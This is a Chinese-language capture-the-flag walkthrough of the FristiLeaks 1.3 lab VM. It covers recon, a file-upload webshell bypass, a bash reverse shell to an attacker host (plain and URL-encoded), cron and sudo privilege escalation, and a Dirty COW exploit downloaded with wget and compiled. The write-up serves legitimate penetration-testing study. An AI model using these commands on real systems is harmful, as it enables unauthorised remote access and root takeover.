靶机下载地址:
https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova.torrent
https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova
环境:
靶机:FristiLeaks v1.3
网络连接方式:桥接模式
靶机镜像打开方式:VirtualBox
攻击机:kali,win10
网络连接方式:桥接模式
信息收集
1.1、确认IP
使用VirtualBox打开,IP自动获取:192.168.50.174
1.2、扫描端口和服务
nmap扫描端口和服务
nmap -p- -A 192.168.50.174
收集到的信息:
80 http 思路:web漏洞
linux 2.6.32-3.10 思路:linux漏洞提权
php/5.3.3
apache 2.2.15
1.3、收集web页面信息
访问,http://192.168.50.174/ ,收集信息
@meneer, @barrebas, @rikvduijn, @wez3forsec, @PyroBatNL, @0xDUDE, @annejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egeltje, @pdersjant, @tcp130x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @Ar0xA
1.4、扫描目录
使用dirb扫描目录
dirb http://192.168.50.174/ /usr/share/wordlists/dirb/big.txt dirb http://192.168.50.174/ /usr/share/wordlists/dirb/small.txt dirb http://192.168.50.174/ /usr/share/wordlists/dirb/common.txt dirb http://192.168.50.174/ /usr/share/wordlists/dirb/spanish.txt
robots.txt
/beer/
/cola/
/images/
/cgi-bin/
/error/
/icons/
dirbuster扫描目录
找web漏洞
2.1、访问扫描的目录和页面
robots.txt里有三个目录
访问各目录,全是一张图,这不是你要找的URL。。。
扫描出来的内容访问了一遍,没有发现什么有用的东西。。。GG。。
2.2、没想到的思路和方向
回头看下访问主页时的提示:keep calm and drink firsti
访问:http://192.168.50.174/fristi/ ,进入主页面
2.3、获取登陆框账号密码
看到下方的登陆框,先来一波SQL注入,手注失败,尝试sqlmap,也没有结果
右键看下页面源代码,content内容里面有些提示:
super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.
这个页面的图片是经过base64编码打开的
页面下方确实也留下了一些base64编码的内容
直接复制base64编码的内容在火狐浏览器中打开,页面会弹出一个保存文件的提示,点击保存发现是一个不带格式的文件
加个.png的后缀,发现图片确实是本页面上的那张图片
将刚才网页源代码里面的备注的base64编码的内容,添加到
data:img/png;base64后面,即:
data:img/png;base64,iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0klS0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+fm63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJZv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvbDpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNdjJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg104VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLqi1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2FgtOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HKul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12qmD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34 rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFheEPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJRU5ErkJggg==
将以上内容再复制到浏览器地址栏中打开,发现提示保存文件,下载下来,添加后缀.png,得到以下内容:
keKkeKKeKKeKkEkkEk
貌似是一个密码,那账户是哪个呢?回头再看下页面提示,发现有个名字
尝试刚才注入的登陆框
登陆成功,得到一个文件上传的功能点
2.4、文件上传拿shell
http://192.168.50.174/fristi/upload.php
直接上传个php文件,提示只允许 png,jpg,gif
上传个jpg图片,上传成功,但是没有路径信息返回。。GG
试试扫描下目录,发现fristi下有个/uploads/的目录
访问下刚上传的图片,确实可以访问的到
给php文件加个.jpg的后缀,发现可以直接上传成功
访问下这张图片,发现显示了内容中的aaa,说明可以解析php
http://192.168.50.174/fristi/uploads/post.php.jpg
直接用hackbar来post提交下命令试试,x=whoami
老样子,为了方便提权,反弹下shell,先用kali监听下9999端口
nc -lvvp 9999
post提交以下url编码后的命令
x=echo "bash -i >& /dev/tcp/192.168.50.132/9999 0>&1"|bash
编码后:
x=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%35%30%2e%31%33%32%2f%39%39%39%39%20%30%3e%26%31%22%7c%62%61%73%68
成功反弹shell
用python反弹终端
python -c 'import pty;pty.spawn("/bin/bash")'
提权
3.1、查找用户
查看/etc/passwd,发现用户eezeepz,admin,fristigod
3.2、找密码
查看下当前用户下的文件,/var/www/目录下,有个notes.txt,提示eezeepz用户的home目录下的文件有些乱,需要清理,但不要删除重要任务-jerry
另外/var/目录下,有一个fristigod目录和一个mail目录,暂无权限访问
先切换到/home/eezeepz/目录下看看,发现也有一个notes.txt的文本,查看下
当前用户可以执行/usr/bin/下的一些命令,还有一些命令是在/home/admin/目录下,
在/tmp/目录下创建runthis的文件,输出到cronresult下
利用任务计划
用vi编辑器编写时,出现ESC以及上下左右按键不能用的情况。。。
最开始的想法是,当前用户没有权限访问/home/admin/目录,runthis每分钟自动执行一次,那直接往文件中写入更改admin目录的权限不就好了吗?
发现直接写chmod -R 777 /home/admin/几分钟后发现并不会顺利执行更改权限,参考下别人的写法
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" >/tmp/runthis
...试了好几次,过了一段时间后发现计划任务就执行成功了,cd到admin用户目录下
查看下文件,2个txt对应2个编码过后的字符串,第一个像base64反过来,尝试base64解码,失败
密码解密
查看下其他文件 cat cryptpass.py,是一个python脚本文件,理下函数执行逻辑,将字符串先用base64.b64encode进行base64编码,再通过[::-1]反向,再通过codecs.encode编码,然后返回
import base64,codecs,sys def encodeString(str): base64string= base64.b64encode(str) return codecs.encode(base64string[::-1], 'rot13') cryptoResult=encodeString(sys.argv[1]) print cryptoResult
编写一个解码的python脚本,如下:
得到两个密码:
thisisalsopw123
LetThereBeFristi!
尝试登陆下su admin 输入密码thisisalsopw123登陆成功
在该用户下,无法直接提权至root,也无法访问fristigod用户的家目录
切换到用户fristigod
切换至另一个账户fristigod试试
尝试登陆下su fristigod 输入密码LetThereBeFristi!登陆成功
cd到fristigod用户到家目录,发现并没有可以利用的东西,思路到这就断了
3.3、尝试提权
回头再看下/etc/passwd下的fristigod用户信息,目录是位于/var/fristigod,而非home
切换目录至/var/fristigod/,查看文件,发现文件
.bash_history和目录.secret_admin_stuff,分别查看下
可以发现在.bash_history中,通过sudo -u来执行一些操作
.secret_admin_stuff,有个doCom文件,到这就没有提权思路了
新get到的提权方法
使用 sudo 提升权限,并创建一个shell:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
实现的原理:
通过sudo -u可以以root身份来执行./doCom,而./doCom文件,可以执行任何命令,如ls等,
通过/bin/bash来拿到root的shell
提权成功
3.4、提权方式二
因为Linux系统版本为2.6.32-3.10 ,可以尝试脏牛提权
脏牛漏洞影响的linux内核版本为>=2.6.22(2007到2016年linux发行版),因此可以进行脏牛提权
参考链接:
https://www.jianshu.com/p/df72d1ee1e3e
将dirty保存在kali的/var/www/html目录下,这里我是将dirty.c改成了dirty.txt
在靶机反弹的shell上执行以下命令,下载dirty.txt文件
wget http://192/168.50.132/dirty.txt
编译dirty.c文件
这是因为之前我切换到了/var/tmp/目录下,所以就下载到了/var/tmp/目录下
然后通过mv dirty.txt dirty.c将文件名改回来,并执行以下命令编译:
gcc -pthread dirty.c -o dirty -lcrypt
当前/var/tmp/目录下,自动生成dirty文件
执行dirty,创建用户
通过执行./dirty然后手动设置密码,或直接执行./dirty root设置密码为root
这个命令会自动创建一个用户:firefart,密码root,并且具有root权限
执行完毕后,发现当前反弹的shell失效了,不过可以直接通过账户名密码登陆靶机了
提权成功
总结
1、吃了英语不好的亏[doge],没有想到firsti这个目录
2、新get了一种提权思路,创建root的shell
3、靶机环环相扣,每步都有下一步的提示,nice!